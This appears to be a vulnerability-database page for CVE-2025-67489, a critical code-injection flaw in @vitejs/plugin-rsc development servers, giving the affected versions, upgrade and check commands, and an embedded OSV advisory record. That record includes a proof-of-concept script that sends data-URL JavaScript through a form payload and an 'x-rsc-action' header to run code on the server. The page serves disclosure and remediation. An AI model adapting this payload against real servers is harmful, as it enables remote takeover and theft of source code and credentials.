CVE-2025-67489: @vitejs/plugin rsc Remote Code Execution Vulnerability
CRITICALCVE-2025-67489 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting @vitejs/plugin rsc libraries in the npm ecosystem. The issue involves @vitejs/plugin-rsc remote code execution through unsafe dynamic imports in rsc server function apis on development server. Remediation is available by upgrading affected packages to version 0.5.6.
CVE-2025-67489 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2025-67489
To remediate this vulnerability, upgrade all affected @vitejs/plugin rsc dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @vitejs/plugin-rsc@0.5.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @vitejs/plugin-rsc
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-67489, inspect your project dependencies using npm:
npm ls @vitejs/plugin-rsc
Analyze the terminal output to locate any version of @vitejs/plugin rsc in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.5.6), your application is affected.
Note: The npm ls @vitejs/plugin-rsc command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In @vitejs/plugin rsc, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-67489 Affected @vitejs/plugin rsc Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@vitejs/plugin-rsc
|
npm |
< 0.5.6
|
0.5.6
|
References
Frequently Asked Questions
What is CVE-2025-67489?
Which @vitejs/plugin rsc versions are affected?
What version fixes CVE-2025-67489?
Is @vitejs/plugin-rsc affected?
What is the CVSS score of CVE-2025-67489?
What CWE is associated with CVE-2025-67489?
How can I check npm dependencies for CVE-2025-67489?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-j76j-5p5g-9wfr",
"modified" : "2025-12-09T21:37:59Z",
"published" : "2025-12-08T22:16:31Z",
"aliases" : [ "CVE-2025-67489" ],
"summary" : "@vitejs/plugin-rsc Remote Code Execution through unsafe dynamic imports in RSC server function APIs on development server",
"details" : "## Summary\n\nArbitrary Remote Code Execution on development server via unsafe dynamic imports in `@vitejs/plugin-rsc` server function APIs (`loadServerAction`, `decodeReply`, `decodeAction`) when integrated into RSC applications that expose server function endpoints.\n\n## Impact\n\nAttackers with network access to the development server can execute arbitrary JavaScript code with Node.js privileges, allowing them to read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using `vite --host` to expose the server on all network interfaces.\n\n\n## Details\n\nIn the example RSC application provided in Proof of Concept, the server handles server function call through API such as `loadServerAction`, `decodeReply`, `decodeAction` with http request's header and body as inputs:\n\nhttps://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/examples/starter/src/framework/entry.rsc.tsx#L42-L47\n\nDuring development, these API internally relies on dynamic import to load server function module, which allows executing arbitrary module including data url module.\n\nhttps://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/src/rsc.tsx#L19-L24\n\n## Proof of Concept\n\nThe example app is avialable in\n- https://github.com/vitejs/vite-plugin-react/tree/main/packages/plugin-rsc/examples/starter\n- https://stackblitz.com/edit/github-rubfqp9k?file=poc.js\n\n**Reproduction Steps:**\n\n- Stat development server `vite dev`\n- Run a following script `node poc.js`\n- See \"REMOTE CODE EXECUTION1\" and \"REMOTE CODE EXECUTION2\" in server console\n\n```js\n// [poc.js]\nconst payload = {\n 0: [\"$F1\"],\n 1: { id: \"data:text/javascript,console.log('REMOTE CODE EXECUTION 1')# \" },\n};\nconst fd = new FormData();\nfor (const key in payload) {\n fd.append(key, JSON.stringify(payload[key]));\n}\n\nconst serverUrl = process.argv[2] || 'http://localhost:5173/_.rsc';\nconst response = fetch(serverUrl, {\n method: \"POST\",\n headers: {\n \"x-rsc-action\": \"data:text/javascript,console.log('REMOTE CODE EXECUTION 2')# \",\n },\n body: fd,\n})\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@vitejs/plugin-rsc"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.5.6"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.5.5"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/vitejs/vite-plugin-react/security/advisories/GHSA-j76j-5p5g-9wfr"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-67489"
}, {
"type" : "WEB",
"url" : "https://github.com/vitejs/vite-plugin-react/commit/fe634b58210d0a4a146a7faae56cd71af3bb9af4"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/vitejs/vite-plugin-react"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-94" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2025-12-08T22:16:31Z",
"nvd_published_at" : "2025-12-09T21:16:00Z"
}
}